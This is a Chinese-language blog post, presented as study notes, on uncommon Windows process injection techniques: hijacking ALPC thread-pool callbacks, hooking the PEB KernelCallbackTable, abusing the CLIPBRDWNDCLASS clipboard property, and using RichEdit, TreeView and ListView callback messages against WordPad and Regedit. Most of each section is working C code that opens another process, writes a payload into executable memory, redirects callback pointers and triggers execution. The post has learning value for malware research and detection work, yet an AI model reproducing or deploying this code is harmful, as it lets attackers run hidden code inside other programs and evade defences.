redistemplate注入为null_Windows不太常见的进程注入学习小记(二)

0x00 前前言

这个只是我学习的笔记,真正的代码实现都是网上有人已经公开了的,给了参考链接了,这不是我发现的也不是我研究的,这只是我学习的。

利用ALPC来实现进程注入

0x01前言

本地过程调用(LPC,Local Procedure Call,通常也被称为轻量过程调用或者本地进程间通信是一种由Windows NT内核提供的内部进程间通信方式。通过这一方式,同一计算机上的进程可以进行轻量的通信。在Windows Vista中,ALPC(Advanced Local Procedure Call,高级本地进程通信)替代了LPC。ALPC提供了一个高速可度量的通信机制,这样便于实现需要在用户模式下高速通信的用户模式驱动程序框架(UMDF,User-Mode Driver Framework)(搜索引擎查的)。

按照 Alex Ionescu在 syscan2014上的发言,即使最简单的windows程序都会有ALPC连接。可以用ProcessExplorer查看每个进程的ALPC Port的名字。我查看得情况确实是这样的。7c5cb2ca68898fced529ab65687d2fbb.png
与ALPC的中的回调保存地址有关的结构体:TP_CALLBACK_OBJECT

typedef struct _TP_CALLBACK_OBJECT {    ULONG                             RefCount;    PVOID                             CleanupGroupMember;    PTP_CLEANUP_GROUP                 CleanupGroup;    PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback;    PTP_SIMPLE_CALLBACK               FinalizationCallback;    LIST_ENTRY                        WorkList;    ULONG64                           Barrier;    ULONG64                           Unknown1;    SRWLOCK                           SharedLock;    TP_SIMPLE_CALLBACK                Callback;    PACTIVATION_CONTEXT               ActivationContext;    ULONG64                           SubProcessTag;    GUID                              ActivityId;    BOOL                              WorkingOnBehalfTicket;    PVOID                             RaceDll;    PTP_POOL                          Pool;    LIST_ENTRY                        GroupList;    ULONG                             Flags;    TP_SIMPLE_CALLBACK                CallerAddress;    TP_CALLBACK_PRIORITY              CallbackPriority;} TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT;

其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:

typedef struct _TP_SIMPLE_CALLBACK {    PVOID                             Function;    PVOID                             Context;} TP_SIMPLE_CALLBACK;

根据文章内容和代码,我只能确定构造后的Context参数为TP_SIMPLE_CALLBACK本身所在的地址。

0x02 注入

  • 通过进程名拿到要注入的目标进程id,通过进程id获取进程句柄。

pi->hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->pid);    if(pi->hp==NULL) return FALSE;
  • 通过NtQuerySystemInformation,传0x10(SystemHandleInformation)参数获取句柄信息。

for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {     list = xmalloc(len);     status = NtQuerySystemInformation(         SystemHandleInformation, list, len, &total);     // break from loop if ok        if(NT_SUCCESS(status)) break;     // free list and continue     xfree(list);     }
  • 判断循环判断句柄是否是属于要注入的目标进程的ALPC端口对象。

    • 判断句柄所属进程的pid是不是目标进程

    • 判断句柄类型是不是45...文章说不同的操作系统版本这个值不太一样,windows10是45。

    • 如果都是的话就将句柄对象拷贝至进程空间,获取对象的名字,判断不为空就将该对象名字入vector。获取ALPC端口对象的名字是为了之后与该端口进行连接操作。

for(i=0; iNumberOfHandles; i++) {      if(hl->Handles[i].UniqueProcessId != pi->pid) continue;      if(hl->Handles[i].ObjectTypeIndex != 45) continue;       // duplicate the handle object      status = NtDuplicateObject(            pi->hp, (HANDLE)hl->Handles[i].HandleValue,            GetCurrentProcess(), &hObj, 0, 0, 0);       // continue with next entry if we failed      if(!NT_SUCCESS(status)) continue;       // try query the name      status = NtQueryObject(hObj,          ObjectNameInformation, objName, 8192, NULL);       // got it okay?      if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) {        // save to list        pi->ports.push_back(objName->Name.Buffer);      }      // close handle object      NtClose(hObj);    }

搜索进程内存,找到进程中的PTP_CALLBACK_OBJECT结构体。

  • 根据该结构所属的内存的属性来搜索。

BOOL IsValidTCO(HANDLE hProcess, PTP_CALLBACK_OBJECT tco) {    MEMORY_BASIC_INFORMATION mbi;    SIZE_T                   res;     // if it's a callback, these values shouldn't be empty     if(tco->CleanupGroupMember     == NULL ||       tco->Pool                   == NULL ||       tco->CallerAddress.Function == NULL ||       tco->Callback.Function      == NULL) return FALSE;     // the CleanupGroupMember should reside in read-only    // area of image    res = VirtualQueryEx(hProcess,      (LPVOID)tco->CleanupGroupMember, &mbi, sizeof(mbi));     if (res != sizeof(mbi)) return FALSE;    if (!(mbi.Protect & PAGE_READONLY)) return FALSE;    if (!(mbi.Type & MEM_IMAGE)) return FALSE;     // the pool object should reside in read+write memory    res = VirtualQueryEx(hProcess,      (LPVOID)tco->Pool, &mbi, sizeof(mbi));     if (res != sizeof(mbi)) return FALSE;    if (!(mbi.Protect & PAGE_READWRITE)) return FALSE;     // the caller function should reside in read+executable memory    res = VirtualQueryEx(hProcess,      (LPCVOID)tco->CallerAddress.Function, &mbi, sizeof(mbi));     if (res != sizeof(mbi)) return FALSE;    if (!(mbi.Protect & PAGE_EXECUTE_READ)) return FALSE;     // the callback function should reside in read+executable memory    res = VirtualQueryEx(hProcess,      (LPCVOID)tco->Callback.Function, &mbi, sizeof(mbi));     if (res != sizeof(mbi)) return FALSE;    return (mbi.Protect & PAGE_EXECUTE_READ);   }
  • 如果搜索到了就判断这个结构体所属模块是否是RPCRT4.dll

bFound=IsValidTCO(pi->hp, &tco);      if(bFound) {        // obtain module name where callback resides        GetMappedFileName(pi->hp, (LPVOID)tco.Callback.Function, filename, MAX_PATH);        // filter by RPCRT4.dll        if(StrStrI(filename, L"RPCRT4.dll")!=NULL) {          wprintf(L"Found TCO at %p for %s\n",  addr+pos, filename);          // try run payload using this TCO          // if successful, end scan          bInject = ALPC_deploy(pi, addr+pos, &tco);          if (bInject) break;        }      }
  • 如果属于对的模块,那么就是真的找到了该结构。
    然后对这个结构进行HOOK操作。

对找到的结构进行HOOK

BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_OBJECT tco) {    LPVOID             cs = NULL;    BOOL               bInject = FALSE;    TP_CALLBACK_OBJECT cpy;    // local copy of tco    SIZE_T             wr;    TP_SIMPLE_CALLBACK tp;    DWORD              i;     // allocate memory in remote for payload and callback parameter    cs = VirtualAllocEx(pi->hp, NULL,      pi->payloadSize + sizeof(TP_SIMPLE_CALLBACK),      MEM_COMMIT, PAGE_EXECUTE_READWRITE);     if (cs != NULL) {        // write payload to remote process        WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr);        // backup TCO        CopyMemory(&cpy, tco, sizeof(TP_CALLBACK_OBJECT));        // copy original callback address and parameter        tp.Function = cpy.Callback.Function;        tp.Context  = cpy.Callback.Context;        // write callback+parameter to remote process        WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr);        // update original callback with address of payload and parameter        cpy.Callback.Function = cs;        cpy.Callback.Context  = (LPBYTE)cs + pi->payloadSize;        // update TCO in remote process        WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);        // trigger execution of payload        for(i=0;iports.size(); i++) {          ALPC_Connect(pi->ports[i]);          // read back the TCO          ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);          // if callback pointer is the original, we succeeded.          bInject = (cpy.Callback.Function == tco->Callback.Function);          if(bInject) break;        }        // restore the original tco        WriteProcessMemory(pi->hp, ds, tco, sizeof(cpy), &wr);        // release memory for payload        VirtualFreeEx(pi->hp, cs,          pi->payloadSize+sizeof(tp), MEM_RELEASE);    }    return bInject;}

0x03 参考文章

  • https://conference.hitb.org/hitbsecconf2014kul/materials/D2T1%20-%20Ben%20Nagy%20-%20ALPC%20Fuzzing%20Toolkit.pdf

  • https://blog.csdn.net/weixin_43787608/article/details/84555474

  • https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/

对KernelCallbackTable HOOK实现进程注入

0x01 前言

KernelCallBackTable是一个结构体,可以通过PEB来找到这个结构体的地址,当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息,例如,_fnCOPYDATA是响应WM_COPYDATA消息而执行的。

PEB结构体中的KernelCallbackTable结构所在位置:

typedef struct _PEB{    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the    BOOLEAN ReadImageFileExecOptions;   //    BOOLEAN BeingDebugged;              //    BOOLEAN SpareBool;                  //    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.     PVOID ImageBaseAddress;    PPEB_LDR_DATA Ldr;    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;    PVOID SubSystemData;    PVOID ProcessHeap;    PVOID FastPebLock;    PVOID FastPebLockRoutine;    PVOID FastPebUnlockRoutine;    ULONG EnvironmentUpdateCount;    PVOID KernelCallbackTable;    // ...snipped

KernelCallBackTable结构体:

typedef struct _KERNELCALLBACKTABLE_T {    ULONG_PTR __fnCOPYDATA;    ULONG_PTR __fnCOPYGLOBALDATA;    ULONG_PTR __fnDWORD;    ULONG_PTR __fnNCDESTROY;    ULONG_PTR __fnDWORDOPTINLPMSG;    ULONG_PTR __fnINOUTDRAG;    ULONG_PTR __fnGETTEXTLENGTHS;    ULONG_PTR __fnINCNTOUTSTRING;    ULONG_PTR __fnPOUTLPINT;    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;    ULONG_PTR __fnINLPCREATESTRUCT;    ULONG_PTR __fnINLPDELETEITEMSTRUCT;    ULONG_PTR __fnINLPDRAWITEMSTRUCT;    ULONG_PTR __fnPOPTINLPUINT;    ULONG_PTR __fnPOPTINLPUINT2;    ULONG_PTR __fnINLPMDICREATESTRUCT;    ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;    ULONG_PTR __fnINLPWINDOWPOS;    ULONG_PTR __fnINOUTLPPOINT5;    ULONG_PTR __fnINOUTLPSCROLLINFO;    ULONG_PTR __fnINOUTLPRECT;    ULONG_PTR __fnINOUTNCCALCSIZE;    ULONG_PTR __fnINOUTLPPOINT5_;    ULONG_PTR __fnINPAINTCLIPBRD;    ULONG_PTR __fnINSIZECLIPBRD;    ULONG_PTR __fnINDESTROYCLIPBRD;    ULONG_PTR __fnINSTRING;    ULONG_PTR __fnINSTRINGNULL;    ULONG_PTR __fnINDEVICECHANGE;    ULONG_PTR __fnPOWERBROADCAST;    ULONG_PTR __fnINLPUAHDRAWMENU;    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;    ULONG_PTR __fnOUTDWORDINDWORD;    ULONG_PTR __fnOUTLPRECT;    ULONG_PTR __fnOUTSTRING;    ULONG_PTR __fnPOPTINLPUINT3;    ULONG_PTR __fnPOUTLPINT2;    ULONG_PTR __fnSENTDDEMSG;    ULONG_PTR __fnINOUTSTYLECHANGE;    ULONG_PTR __fnHkINDWORD;    ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;    ULONG_PTR __fnHkINLPCBTCREATESTRUCT;    ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;    ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;    ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;    ULONG_PTR __fnHkINLPMSG;    ULONG_PTR __fnHkINLPRECT;    ULONG_PTR __fnHkOPTINLPEVENTMSG;    ULONG_PTR __xxxClientCallDelegateThread;    ULONG_PTR __ClientCallDummyCallback;    ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;    ULONG_PTR __fnOUTLPCOMBOBOXINFO;    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;    ULONG_PTR __xxxClientCallDevCallbackCapture;    ULONG_PTR __xxxClientCallDitThread;    ULONG_PTR __xxxClientEnableMMCSS;    ULONG_PTR __xxxClientUpdateDpi;    ULONG_PTR __xxxClientExpandStringW;    ULONG_PTR __ClientCopyDDEIn1;    ULONG_PTR __ClientCopyDDEIn2;    ULONG_PTR __ClientCopyDDEOut1;    ULONG_PTR __ClientCopyDDEOut2;    ULONG_PTR __ClientCopyImage;    ULONG_PTR __ClientEventCallback;    ULONG_PTR __ClientFindMnemChar;    ULONG_PTR __ClientFreeDDEHandle;    ULONG_PTR __ClientFreeLibrary;    ULONG_PTR __ClientGetCharsetInfo;    ULONG_PTR __ClientGetDDEFlags;    ULONG_PTR __ClientGetDDEHookData;    ULONG_PTR __ClientGetListboxString;    ULONG_PTR __ClientGetMessageMPH;    ULONG_PTR __ClientLoadImage;    ULONG_PTR __ClientLoadLibrary;    ULONG_PTR __ClientLoadMenu;    ULONG_PTR __ClientLoadLocalT1Fonts;    ULONG_PTR __ClientPSMTextOut;    ULONG_PTR __ClientLpkDrawTextEx;    ULONG_PTR __ClientExtTextOutW;    ULONG_PTR __ClientGetTextExtentPointW;    ULONG_PTR __ClientCharToWchar;    ULONG_PTR __ClientAddFontResourceW;    ULONG_PTR __ClientThreadSetup;    ULONG_PTR __ClientDeliverUserApc;    ULONG_PTR __ClientNoMemoryPopup;    ULONG_PTR __ClientMonitorEnumProc;    ULONG_PTR __ClientCallWinEventProc;    ULONG_PTR __ClientWaitMessageExMPH;    ULONG_PTR __ClientWOWGetProcModule;    ULONG_PTR __ClientWOWTask16SchedNotify;    ULONG_PTR __ClientImmLoadLayout;    ULONG_PTR __ClientImmProcessKey;    ULONG_PTR __fnIMECONTROL;    ULONG_PTR __fnINWPARAMDBCSCHAR;    ULONG_PTR __fnGETTEXTLENGTHS2;    ULONG_PTR __fnINLPKDRAWSWITCHWND;    ULONG_PTR __ClientLoadStringW;    ULONG_PTR __ClientLoadOLE;    ULONG_PTR __ClientRegisterDragDrop;    ULONG_PTR __ClientRevokeDragDrop;    ULONG_PTR __fnINOUTMENUGETOBJECT;    ULONG_PTR __ClientPrinterThunk;    ULONG_PTR __fnOUTLPCOMBOBOXINFO2;    ULONG_PTR __fnOUTLPSCROLLBARINFO;    ULONG_PTR __fnINLPUAHDRAWMENU2;    ULONG_PTR __fnINLPUAHDRAWMENUITEM;    ULONG_PTR __fnINLPUAHDRAWMENU3;    ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;    ULONG_PTR __fnINLPUAHDRAWMENU4;    ULONG_PTR __fnOUTLPTITLEBARINFOEX;    ULONG_PTR __fnTOUCH;    ULONG_PTR __fnGESTURE;    ULONG_PTR __fnPOPTINLPUINT4;    ULONG_PTR __fnPOPTINLPUINT5;    ULONG_PTR __xxxClientCallDefaultInputHandler;    ULONG_PTR __fnEMPTY;    ULONG_PTR __ClientRimDevCallback;    ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;    ULONG_PTR __ClientCallLocalMouseHooks;    ULONG_PTR __xxxClientBroadcastThemeChange;    ULONG_PTR __xxxClientCallDevCallbackSimple;    ULONG_PTR __xxxClientAllocWindowClassExtraBytes;    ULONG_PTR __xxxClientFreeWindowClassExtraBytes;    ULONG_PTR __fnGETWINDOWDATA;    ULONG_PTR __fnINOUTSTYLECHANGE2;    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;} KERNELCALLBACKTABLE;

0x02 注入

例子程序中HOOK的是WM_COPYDATA的响应函数fnCOPYDATA

  • 还是根据窗口名获取进程id获取进程句柄。

  • 使用NtQueryInformationProcess传入ProcessBasicInformation来获取目标进程的PEB。

NtQueryInformationProcess(hp,      ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
  • 根据偏移找到KernelCallbackTable

ReadProcessMemory(hp, pbi.PebBaseAddress,      &peb, sizeof(peb), &rd); ReadProcessMemory(hp, peb.KernelCallbackTable,      &kct, sizeof(kct), &rd);
  • HOOK KernelCallbackTable 中的fnCOPYDATA。

 cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 4. Write the new table to remote processds = VirtualAllocEx(hp, NULL, sizeof(kct),    MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);kct.__fnCOPYDATA = (ULONG_PTR)cs;WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr); // 5. Update the PEBWriteProcessMemory(hp,  (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),  &ds, sizeof(ULONG_PTR), &wr);
  • 发消息触发HOOK

cds.dwData = 1;cds.cbData = lstrlen(msg) * 2;cds.lpData = msg; SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
  • 恢复KernelCallbackTable

WriteProcessMemory(hp,      (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),      &peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr);

0x03 参考文章

  • https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/

利用CLIPBRDWNDCLASS窗口类实现进程注入

0x01 前言

CLIPBRDWNDCLASS这个窗口类通常与剪切板相关,类中的属性中有处理剪切板数据所需的函数地址。这里主要用ClipboardDataObjectInterface的属性实现进程注入。ClipboardRootDataObjectInterface和ClipboardDataObjectInterfaceMTA这两个属性也可以利用。

当使用SetProp这个API将属性ClipboardDataObjectInterface设置为IUnknown接口的地址后向该窗口发送WM_DESTROYCLIPBOARD消息,将会调用IUnknown接口中的Release方法。

IUnknown接口结构(冒牌货):

typedef struct _IUnknown_t {    // a pointer to virtual function table    ULONG_PTR lpVtbl;    // the virtual function table    ULONG_PTR QueryInterface;    ULONG_PTR AddRef;    ULONG_PTR Release;       // executed for                     WM_DESTROYCLIPBOARD} IUnknown_t;

0x02 注入

  • 根据窗口类名找到窗口句柄,找到进程pid找到进程句柄。

hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);GetWindowThreadProcessId(hw, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
  • 在找到的进程之中申请内存构造IUnknow接口,将接口中的release设置为写入的payload的地址 ,将虚表设置为下个四字节的地址。

cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);WriteProcessMemory(hp, cs, payload, payloadSize, &wr);// 3. Allocate RW memory in process.//    Initialize and write IUnknown interfaceds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);iu.Release = (ULONG_PTR)cs;WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
  • 设置属性值,并发送消息触发自定义的payload。

// 4. Set the interface property and trigger execution   SetProp(hw, L"ClipboardDataObjectInterface", ds);   PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);

0x03 参考文章

  • https://modexp.wordpress.com/2019/05/24/4066/

利用RICHEDIT控件

0x01 前言

RichEdit控件是一个可用于输入、编辑、格式化、打印和保存文本的窗口空间。该控件中有许多的回调函数用于处理不同的消息。

这一次利用的消息有:

  • EM_SETWORDBREAKPROCG

  • EM_STREAMIN

  • EM_GETOLECALLBACK

  • TVM_SORTCHILDRENCB

  • LVM_SORTITEMS

0x02 EM_SETWORDBREAKPROC

通过该消息可以设置当有键盘按键事件发生时的消息回调。

  • 找到具有RICHEDIT50W窗口类的空间,测试代码为了测试是直接通过写字板应用程序测试的。

wpw = FindWindow(L"WordPadClass", NULL);     // 2. Find the rich edit control for wordpad.rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
  • 获取当前Wordwrap函数的地址,和写字板的进程ID,打开该进程。

wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0); // 4. Obtain the process id for wordpad.GetWindowThreadProcessId(rew, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
  • 在写字板进程中申请内存写入payload,将消息回调设置为payload的地址。

cs = VirtualAllocEx(hp, NULL, payloadSize,       MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);    // 7. Write the payload to memory   WriteProcessMemory(hp, cs, payload, payloadSize, &wr);    // 8. Update the callback procedure   SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
  • 模拟键盘输入操作触发payload,然后恢复窗口回调。

ip.type           = INPUT_KEYBOARD;    ip.ki.wVk         = 'A';    ip.ki.wScan       = 0;    ip.ki.dwFlags     = 0;    ip.ki.time        = 0;    ip.ki.dwExtraInfo = 0;     SetForegroundWindow(wpw);    SendInput(1, &ip, sizeof(ip));    SendInput(1, &ip, sizeof(ip));     // 10. Restore original Wordwrap function    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);

0x03 EM_STREAMIN

当RIchEdit控件收到EM_STREAMIN消息时候,将会使用EDITSTREAM结构将数据传入或者传出控件。

typedef struct _editstream{    DWORD_PTR dwCookie;     // User value passed to callback as first parameter    DWORD      dwError;        // Last error    EDITSTREAMCALLBACK pfnCallback;} EDITSTREAM;

其中为EDITSTREAMCALLBACK类型的pfnCallback字段可以用于指向payload。当使用这个方法的时候,控件中的文本内容将会被删除。

  • 获取相应进程信息

wpw = FindWindow(L"WordPadClass", NULL);rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);     // 2. Obtain the process id and try to open processGetWindowThreadProcessId(rew, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
  • 申请内存,创建EDITSTREAM对象

// 3. Allocate RWX memory and copy the payload there.    cs = VirtualAllocEx(hp, NULL, payloadSize,        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);     WriteProcessMemory(hp, cs, payload, payloadSize, &wr);     // 4. Allocate RW memory and copy the EDITSTREAM structure there.    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);     es.dwCookie    = 0;    es.dwError     = 0;    es.pfnCallback = cs;     WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
  • 触发payload

// 5. Trigger payload with EM_STREAMIN    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);

0x04 EM_GETOLECALLBACK

这个其实和消息回调关系不大,EM_GETOLECALLBACK可以获取虚表执政,主要是用于HOOK RichEditOle的虚表指针,将整个虚表指针hook。以下是该控件虚表指针的虚表原型。

typedef struct _IRichEditOle_t {    ULONG_PTR QueryInterface;    ULONG_PTR AddRef;    ULONG_PTR Release;    ULONG_PTR GetClientSite;    ULONG_PTR GetObjectCount;    ULONG_PTR GetLinkCount;    ULONG_PTR GetObject;    ULONG_PTR InsertObject;    ULONG_PTR ConvertObject;    ULONG_PTR ActivateAs;    ULONG_PTR SetHostNames;    ULONG_PTR SetLinkAvailable;    ULONG_PTR SetDvaspect;    ULONG_PTR HandsOffStorage;    ULONG_PTR SaveCompleted;    ULONG_PTR InPlaceDeactivate;    ULONG_PTR ContextSensitiveHelp;    ULONG_PTR GetClipboardData;    ULONG_PTR ImportDataObject;} _IRichEditOle;
  • 老样子

rew = FindWindow(L"WordPadClass", NULL);    rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);     // 2. Obtain the process id and try to open process    GetWindowThreadProcessId(rew, &id);    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);     // 3. Allocate RWX memory and copy the payload there    cs = VirtualAllocEx(hp, NULL, payloadSize,      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);     WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
  • 查询接口

// 5. Query the interfaceSendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);// 6. Read the memory addressReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);
  • 读取虚表指针地址

// 7. Read IRichEditOle.lpVtbl    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);
  • 读取虚表内容

// 8. Read virtual function table  ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);
  • 将虚表指针进行HOOK,构造虚表,将表中关于WM_COPY的回调函数修改为payload的的地址并触发消息。

// 9. Allocate memory for copy of virtual table    ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);     // 10. Set the GetClipboardData method to address of payload    reo.GetClipboardData = (ULONG_PTR)cs;     // 11. Write new virtual function table to remote memory    WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);     // 12. update IRichEditOle.lpVtbl    WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr);     // 13. Trigger payload by invoking the GetClipboardData method    PostMessage(rew, WM_COPY, 0, 0);

0x05 TVM_SORTCHILDRENCB

主要以获取treelist的句柄之后,获取treelist的第一项,构造TVSORTCB结构,对treelist第一项发送消息TVM_SORTCHILDRENCB,触发TVSORTCB结构中的payload。

typedef struct tagTVSORTCB{    HTREEITEM       hParent;    PFNTVCOMPARE    lpfnCompare;    LPARAM          lParam;} TVSORTCB, *LPTVSORTCB;
  • 老规矩,不过这一次实验是通过注册表实现的

wpw = FindWindow(L"RegEdit_RegEdit", NULL);tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0); // 2. Obtain the process id and try to open processGetWindowThreadProcessId(tlv, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); // 3. Allocate RWX memory and copy the payload there.cs = VirtualAllocEx(hp, NULL, payloadSize,       MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
  • 获取treelist的根节点,构造TVSORTCB结构。发送TVM_SORTCHILDRENCB以触发结构中的payload。

item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0); tvs.hParent     = item;tvs.lpfnCompare = cs;tvs.lParam      = 0; // 5. Allocate RW memory and copy the TVSORTCB structureds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr); // 6. Trigger payloadSendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);

0x06 LVM_SORTITEMS

这个比较简单,直接获取treelist控件,发送消息LVM_SORTITEMS以运行payload。有个缺点就是treelist的子tree都会响应这个消息。。。想想就很恐怖。

// 1. get the window handle    wpw = FindWindow(L"RegEdit_RegEdit", NULL);    lvm = FindWindowEx(wpw, 0, L"SysListView32", 0);     // 2. Obtain the process id and try to open process    GetWindowThreadProcessId(lvm, &id);    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);     // 3. Allocate RWX memory and copy the payload there.    cs = VirtualAllocEx(hp, NULL, payloadSize,        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);     WriteProcessMemory(hp, cs, payload, payloadSize, &wr);     // 4. Trigger payload    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);     // 5. Free memory and close process handle    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);    CloseHandle(hp);

0x07 参考文章

  • https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/#listplanting

写到最后

    喜欢就关注我们吧,后期还会有更多技术干货的分享!注:本篇文章经作者授权转载 

3e1db6fa894dfdd85973c2d13fb7c3ac.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值